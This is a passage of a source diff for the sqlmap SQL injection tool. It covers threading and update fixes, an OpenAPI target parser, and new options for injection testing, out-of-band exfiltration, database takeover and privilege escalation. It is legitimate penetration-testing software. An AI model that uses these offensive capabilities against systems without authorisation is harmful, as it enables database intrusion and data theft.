@@ -165,8 +166,7 @@ def _threadFunction(): _threadFunction() except (SqlmapUserQuitException, SqlmapSkipTargetException): pass - finally: - return + return kb.multiThreadMode = True @@ -186,13 +186,15 @@ def _threadFunction(): threads.append(thread) # And wait for them to all finish - alive = True - while alive: + while True: alive = False for thread in threads: if thread.is_alive(): alive = True - time.sleep(0.1) + break + if not alive: + break + time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException) as ex: print() @@ -209,8 +211,15 @@ def _threadFunction(): if numThreads > 1: logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: - while (threading.active_count() > 1): - pass + while True: + alive = False + for thread in threads: + if thread.is_alive(): + alive = True + break + if not alive: + break + time.sleep(0.1) except KeyboardInterrupt: kb.multipleCtrlC = True @@ -222,21 +231,24 @@ def _threadFunction(): except (SqlmapConnectionException, SqlmapValueException) as ex: print() kb.threadException = True - logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, ex)) if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() - except: + except Exception as ex: print() if not kb.multipleCtrlC: - from lib.core.common import unhandledExceptionMessage - - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + if isinstance(ex, sqlite3.Error): + raise + else: + from lib.core.common import unhandledExceptionMessage + + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.current_thread().name, errMsg)) + traceback.print_exc() finally: kb.multiThreadMode = False @@ -252,7 +264,7 @@ def _threadFunction(): pass if conf.get("hashDB"): - conf.hashDB.flush(True) + conf.hashDB.flush() if cleanupFunction: cleanupFunction() diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 4d9045149ad..7763442e2e6 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,15 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend -from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE -class Unescaper(AttribDict): +# Note: a plain dict (DBMS -> escape function) with a helper method; it is a runtime registry, never +# serialized, so it deliberately does NOT use AttribDict (no attribute-style access is needed here) +class Unescaper(dict): def escape(self, expression, quote=True, dbms=None): if expression is None: return expression diff --git a/lib/core/update.py b/lib/core/update.py index dee1639ebfa..245c9edc01f 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,6 @@ from lib.core.common import getLatestRevision from lib.core.common import getSafeExString from lib.core.common import openFile -from lib.core.common import pollProcess from lib.core.common import readInput from lib.core.convert import getText from lib.core.data import conf @@ -51,7 +50,6 @@ def update(): output = "" try: process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) - pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: @@ -71,7 +69,7 @@ def update(): logger.warning(warnMsg) if VERSION == getLatestRevision(): - logger.info("already at the latest revision '%s'" % getRevisionNumber()) + logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION)) return message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" @@ -110,7 +108,7 @@ def update(): filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): - with openFile(filepath, "rb") as f: + with openFile(filepath, "r") as f: version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info("updated to the latest version '%s#dev'" % version) success = True @@ -138,7 +136,6 @@ def update(): output = "" try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) - pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: @@ -163,7 +160,7 @@ def update(): infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " - infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" + infoMsg += "https://github.com/sqlmapproject/sqlmap/releases" else: infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 781642bf5b7..d3462f111e9 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -27,6 +27,7 @@ class Wordlist(six.Iterator): def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.fp = None + self.zip_file = None self.index = 0 self.counter = -1 self.current = None @@ -49,16 +50,16 @@ def adjust(self): self.current = self.filenames[self.index] if isZipFile(self.current): try: - _ = zipfile.ZipFile(self.current, 'r') + self.zip_file = zipfile.ZipFile(self.current, 'r') except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) - if len(_.namelist()) == 0: + if len(self.zip_file.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) - self.fp = _.open(_.namelist()[0]) + self.fp = self.zip_file.open(self.zip_file.namelist()[0]) else: self.fp = open(self.current, "rb") self.iter = iter(self.fp) @@ -70,6 +71,10 @@ def closeFP(self): self.fp.close() self.fp = None + if self.zip_file: + self.zip_file.close() + self.zip_file = None + def __next__(self): retVal = None while True: @@ -82,8 +87,10 @@ def __next__(self): errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) except StopIteration: - self.adjust() - retVal = next(self.iter).rstrip() + if self.index > len(self.filenames): # Note: no more sources (filenames + custom) to switch to + raise + self.adjust() # Note: switch to the next source and retry (gracefully skipping empty ones) + continue if not self.proc_count or self.counter % self.proc_count == self.proc_id: break return retVal diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 42b4dddc1ba..c4eef8c274c 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e16e8223adf..c1e0f9ed9b7 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -133,7 +133,7 @@ def cmdLineParser(argv=None): help="Parse target(s) from Burp or WebScarab proxy log file") target.add_argument("-m", dest="bulkFile", - help="Scan multiple targets given in a textual file ") + help="Scan multiple targets given in a textual file") target.add_argument("-r", dest="requestFile", help="Load HTTP request from a file") @@ -144,6 +144,15 @@ def cmdLineParser(argv=None): target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") + target.add_argument("--openapi", dest="openApiFile", + help="Derive targets from OpenAPI/Swagger (file/URL)") + + target.add_argument("--openapi-base", dest="openApiBase", + help="Base URL for a host-less OpenAPI/Swagger spec") + + target.add_argument("--openapi-tags", dest="openApiTags", + help="Only derive targets from operations with these tag(s)") + # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") @@ -153,7 +162,7 @@ def cmdLineParser(argv=None): request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") - request.add_argument("--method", dest="method", + request.add_argument("-X", "--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", @@ -177,6 +186,12 @@ def cmdLineParser(argv=None): request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") + request.add_argument("--http1.0", dest="http10", action="store_true", + help="Use HTTP version 1.0 (old)") + + request.add_argument("--http2", dest="http2", action="store_true", + help="Use HTTP version 2 (experimental)") + request.add_argument("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") @@ -270,6 +285,9 @@ def cmdLineParser(argv=None): request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") + request.add_argument("--skip-xmlencode", dest="skipXmlEncode", action="store_true", + help="Skip safe encoding of payload data for SOAP/XML") + request.add_argument("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") @@ -303,11 +321,9 @@ def cmdLineParser(argv=None): optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") - optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") - - optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + # Note: persistent (Keep-Alive) connections are used by default; this opts out + optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true", + help="Disable persistent HTTP(s) connections (Keep-Alive)") optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") @@ -325,7 +341,7 @@ def cmdLineParser(argv=None): help="Skip testing for given parameter(s)") injection.add_argument("--skip-static", dest="skipStatic", action="store_true", - help="Skip testing parameters that not appear to be dynamic") + help="Skip testing parameters that do not appear to be dynamic") injection.add_argument("--param-exclude", dest="paramExclude", help="Regexp to exclude parameters from testing (e.g. \"ses\")") @@ -366,6 +382,9 @@ def cmdLineParser(argv=None): injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") + injection.add_argument("--proof", dest="proof", action="store_true", + help="Prove exploitation of the detected injection point(s)") + # Detection options detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") @@ -405,6 +424,12 @@ def cmdLineParser(argv=None): techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) + techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", + help="Disable the statistical model for detecting the delay") + + techniques.add_argument("--timeless", dest="timeless", action="store_true", + help="Use HTTP/2 timeless timing (faster, no delay)") + techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") @@ -414,8 +439,11 @@ def cmdLineParser(argv=None): techniques.add_argument("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") + techniques.add_argument("--union-values", dest="uValues", + help="Column values to use for UNION query SQL injection") + techniques.add_argument("--dns-domain", dest="dnsDomain", - help="Domain name used for DNS exfiltration attack") + help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)") techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") @@ -424,7 +452,7 @@ def cmdLineParser(argv=None): help="Load second-order HTTP request from file") # Fingerprint options - fingerprint = parser.add_argument_group("Fingerprint") + fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint") fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") @@ -481,7 +509,7 @@ def cmdLineParser(argv=None): help="Dump DBMS database table entries") enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", - help="Dump all DBMS databases tables entries") + help="Dump entries of all DBMS database tables") enumeration.add_argument("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") @@ -492,6 +520,9 @@ def cmdLineParser(argv=None): enumeration.add_argument("--statements", dest="getStatements", action="store_true", help="Retrieve SQL statements being run on DBMS") + enumeration.add_argument("--procs", dest="getProcs", action="store_true", + help="Retrieve stored procedures/functions and their source") + enumeration.add_argument("-D", dest="db", help="DBMS database to enumerate") @@ -501,7 +532,7 @@ def cmdLineParser(argv=None): enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") - enumeration.add_argument("-X", dest="exclude", + enumeration.add_argument("--exclude", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", @@ -583,11 +614,10 @@ def cmdLineParser(argv=None): help="Prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", - help="One click prompt for an OOB shell, Meterpreter or VNC") + help="One-click prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-bof", dest="osBof", action="store_true", - help="Stored procedure buffer overflow " - "exploitation") + help="Stored procedure buffer overflow exploitation") takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") @@ -671,7 +701,7 @@ def cmdLineParser(argv=None): help="Store dumped data to a custom file") general.add_argument("--dump-format", dest="dumpFormat", - help="Format of dumped data (CSV (default), HTML or SQLITE)") + help="Dump data format (CSV (default), HTML, SQLITE, JSONL)") general.add_argument("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") @@ -712,6 +742,9 @@ def cmdLineParser(argv=None): general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + general.add_argument("--report-json", dest="reportJson", + help="Store run results to a JSON file") + general.add_argument("--save", dest="saveConfig", help="Save options to a configuration INI file") @@ -733,9 +766,45 @@ def cmdLineParser(argv=None): general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + general.add_argument("--time-limit", dest="timeLimit", type=float, + help="Run with a time limit in seconds (e.g. 3600)") + + general.add_argument("--unsafe-naming", dest="unsafeNaming", action="store_true", + help="Disable escaping of DBMS identifiers (e.g. \"user\")") + general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") + # Non-SQL injection options + nonsql = parser.add_argument_group("Non-SQL injection", "These options can be used to test for non-SQL injection types") + + nonsql.add_argument("--graphql", dest="graphql", action="store_true", + help="Test for GraphQL injection") + + nonsql.add_argument("--ldap", dest="ldap", action="store_true", + help="Test for LDAP injection") + + nonsql.add_argument("--nosql", dest="nosql", action="store_true", + help="Test for NoSQL injection") + + nonsql.add_argument("--xpath", dest="xpath", action="store_true", + help="Test for XPath injection") + + nonsql.add_argument("--ssti", dest="ssti", action="store_true", + help="Test for server-side template injection") + + nonsql.add_argument("--xxe", dest="xxe", action="store_true", + help="Test for XML External Entity (XXE) injection") + + nonsql.add_argument("--hql", dest="hql", action="store_true", + help="Test for HQL/JPQL (Hibernate ORM) injection") + + nonsql.add_argument("--oob-server", dest="oobServer", + help="Out-of-band server for blind '--xxe'") + + nonsql.add_argument("--oob-token", dest="oobToken", + help="Authentication token for a self-hosted '--oob-server'") + # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") @@ -754,12 +823,21 @@ def cmdLineParser(argv=None): miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") + miscellaneous.add_argument("--disable-hashing", dest="disableHashing", action="store_true", + help="Disable hash analysis on table dumps") + + miscellaneous.add_argument("--gui", dest="gui", action="store_true", + help="Graphical user interface (Tkinter)") + miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", help="Disable logging to a file") + miscellaneous.add_argument("--no-truncate", dest="noTruncate", action="store_true", + help="Disable console output truncation (e.g. long entr...)") + miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") @@ -775,6 +853,9 @@ def cmdLineParser(argv=None): miscellaneous.add_argument("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") + miscellaneous.add_argument("--tui", dest="tui", action="store_true", + help="Textual user interface (ncurses)") + miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", help="Adjust options for unstable connections") @@ -809,8 +890,8 @@ def cmdLineParser(argv=None): parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) - parser.add_argument("--disable-stats", dest="disableStats", action="store_true", - help=SUPPRESS) + parser.add_argument("--no-huffman", dest="noHuffman", action="store_true", + help=SUPPRESS) # "Disable adaptive (Huffman) set-membership retrieval used by default to speed up blind table dumps" parser.add_argument("--profile", dest="profile", action="store_true", help=SUPPRESS) @@ -830,19 +911,35 @@ def cmdLineParser(argv=None): parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) + # Experimental: dump table rows via keyset (seek) pagination on a detected indexed + # primary key instead of ORDER BY ... LIMIT/OFFSET (much cheaper on huge tables). + # --keyset forces it for any table size; --no-keyset disables it (incl. the automatic + # use on large tables), falling back to the plain LIMIT/OFFSET dump. + parser.add_argument("--keyset", dest="keyset", action="store_true", + help=SUPPRESS) + + parser.add_argument("--no-keyset", dest="noKeyset", action="store_true", + help=SUPPRESS) + parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", help=SUPPRESS) parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", help=SUPPRESS) - parser.add_argument("--gui", dest="gui", action="store_true", + parser.add_argument("--smoke-test", "--doc-test", dest="smokeTest", action="store_true", help=SUPPRESS) - parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", + parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) - parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", + parser.add_argument("--fp-test", dest="fpTest", action="store_true", + help=SUPPRESS) + + parser.add_argument("--payload-lint", dest="payloadLint", action="store_true", + help=SUPPRESS) + + parser.add_argument("--api-test", dest="apiTest", action="store_true", help=SUPPRESS) parser.add_argument("--disable-json", dest="disableJson", action="store_true", @@ -912,12 +1009,19 @@ def _format_action_invocation(self, action): checkOldOptions(argv) if "--gui" in argv: - from lib.core.gui import runGui + from lib.utils.gui import runGui runGui(parser) raise SqlmapSilentQuitException + elif "--tui" in argv: + from lib.utils.tui import runTui + + runTui(parser) + + raise SqlmapSilentQuitException + elif "--shell" in argv: _createHomeDirectories() @@ -995,12 +1099,18 @@ def _format_action_invocation(self, action): argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" + elif argv[i] in ("-s", "--silent"): + if i + 1 < len(argv) and argv[i + 1].startswith('-') or i + 1 == len(argv): + argv[i] = "" + conf.verbose = 0 elif argv[i].startswith("--data-raw"): argv[i] = argv[i].replace("--data-raw", "--data", 1) elif argv[i].startswith("--auth-creds"): argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) elif argv[i].startswith("--drop-cookie"): argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) + elif re.search(r"\A--tamper[^=\s]", argv[i]): + argv[i] = "" elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) index = auxIndexes.get(key, None) @@ -1086,7 +1196,7 @@ def _format_action_invocation(self, action): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.payloadLint, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 6891d11b4e3..88f91ce7828 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -64,14 +64,19 @@ def configFileParser(configFile): logger.debug(debugMsg) checkFile(configFile) - configFP = openFile(configFile, "rb") + configFP = openFile(configFile, 'r') try: config = UnicodeRawConfigParser() - config.readfp(configFP) + if hasattr(config, "read_file"): + config.read_file(configFP) + else: + config.readfp(configFP) except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) + finally: + configFP.close() if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 9b951810cf9..f97bf5c7759 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 52786244cee..0a47a0985cc 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -29,9 +29,8 @@ def headersParser(headers): "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } - for header in (_.lower() for _ in headers if _.lower() in kb.headerPaths): - value = headers[header] - xmlfile = kb.headerPaths[header] - handler = FingerprintHandler(value, kb.headersFp) - parseXmlFile(xmlfile, handler) - parseXmlFile(paths.GENERIC_XML, handler) + for header, xmlfile in kb.headerPaths.items(): + if header in headers: + handler = FingerprintHandler(headers[header], kb.headersFp) + parseXmlFile(xmlfile, handler) + parseXmlFile(paths.GENERIC_XML, handler) diff --git a/lib/parse/html.py b/lib/parse/html.py index 6e2aa6e36e7..b4d9883a97a 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -27,11 +27,11 @@ def __init__(self, page): self._dbms = None self._page = (page or "") + self._urldecodedPage = urldecode(self._page) try: - self._lower_page = self._page.lower() + self._lowerPage = self._urldecodedPage.lower() # Note: keyword pre-filter must match the page that re.search() runs on (the URL-decoded one) except SystemError: # https://bugs.python.org/issue18183 - self._lower_page = None - self._urldecoded_page = urldecode(self._page) + self._lowerPage = None self.dbms = None @@ -53,7 +53,7 @@ def startElement(self, name, attrs): keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() - if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): + if ('|' in regexp or kb.cache.regex[regexp] in (self._lowerPage or kb.cache.regex[regexp])) and re.search(regexp, self._urldecodedPage, re.I): self.dbms = self._dbms self._markAsErrorPage() kb.forkNote = kb.forkNote or attrs.get("fork") diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py new file mode 100644 index 00000000000..05054208c06 --- /dev/null +++ b/lib/parse/openapi.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json +import re + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from thirdparty import six +from thirdparty.six.moves.urllib.parse import quote as _quote + +try: + import yaml # optional (only needed for YAML specs) +except ImportError: + yaml = None + +# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The +# document is treated as a request generator, NOT a contract to validate: for every operation a single +# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any +# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully. + +MAX_REF_DEPTH = 25 + +def _loadSpec(content): + try: + return json.loads(content) + except ValueError: + if yaml is None: + errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional " + errMsg += "'pyyaml' module (needed for YAML specifications) is not available" + raise ValueError(errMsg) + try: + return yaml.safe_load(content) + except Exception as ex: + raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex)) + +def _resolve(spec, node, seen=None, depth=0): + seen = seen or set() + if isinstance(node, dict) and "$ref" in node: + ref = node["$ref"] + if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref + return {} + if ref in seen or depth > MAX_REF_DEPTH: + return {} + if not ref.startswith("#/"): + logger.warning("skipping external OpenAPI $ref '%s'" % ref) + return {} + seen = seen | set([ref]) + current = spec + for part in ref[2:].split('/'): + part = part.replace("~1", "/").replace("~0", "~") + if not isinstance(current, dict) or part not in current: + logger.warning("skipping dangling OpenAPI $ref '%s'" % ref) + return {} + current = current[part] + return _resolve(spec, current, seen, depth + 1) + return node + +EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs + +def _example(spec, schema, seen=None, depth=0, cache=None): + # 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs + # (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this + # the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas. + seen = seen or set() + if cache is None: + cache = {} + if depth > EXAMPLE_MAX_DEPTH: + return "1" + ref = schema.get("$ref") if isinstance(schema, dict) else None + if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key + ref = None + if ref is not None and ref in cache: + return cache[ref] + + schema = _resolve(spec, schema or {}, seen, depth) + if not isinstance(schema, dict): + return "1" + + value = None + if "example" in schema: + value = schema["example"] + elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1) + value = schema["const"] + elif "default" in schema: + value = schema["default"] + elif isinstance(schema.get("examples"), list) and schema["examples"]: + value = schema["examples"][0] + elif isinstance(schema.get("enum"), list) and schema["enum"]: + value = schema["enum"][0] + else: + combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None) + if combinator: + if combinator == "allOf": + merged = {} + for sub in schema[combinator]: + part = _example(spec, sub, seen, depth + 1, cache) + if isinstance(part, dict): + merged.update(part) + value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + value = _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + _type = schema.get("type") + if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"]) + _type = next((_ for _ in _type if _ != "null"), None) + if _type == "object" or ("properties" in schema and not _type): + properties = schema.get("properties") + value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items()) + elif _type == "array": + value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)] + elif _type in ("integer", "number"): + value = 1 + elif _type == "boolean": + value = True + elif _type == "string": + formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="} + value = formats.get(schema.get("format"), "1") + else: + value = "1" + + if ref is not None: + cache[ref] = value + return value + +def _scalar(value): + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if isinstance(value, six.string_types): + return value + try: + return json.dumps(value) + except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01' + return str(value) + +_NO_EXAMPLE = object() + +def _explicitExample(spec, container): + # a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a + # schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples' + # is a map of name -> {"value": ...} (each entry possibly a $ref). + if not isinstance(container, dict): + return _NO_EXAMPLE + if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis + return container["example"] + examples = container.get("examples") + if isinstance(examples, dict) and examples: + first = _resolve(spec, next(iter(examples.values()))) + if isinstance(first, dict) and first.get("value") is not None: + return first["value"] + return _NO_EXAMPLE + +def _noMark(text): + # strip any custom injection mark already present in a synthesized value so only the intentionally + # appended mark (if any) survives (avoids a stray/second injection point) + return text.replace(CUSTOM_INJECTION_MARK_CHAR, "") + +def _headerClean(text): + # remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other + # C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line + return re.sub(r"[\x00-\x1f\x7f]", "", text) + +_HEADER_NAME_RE = 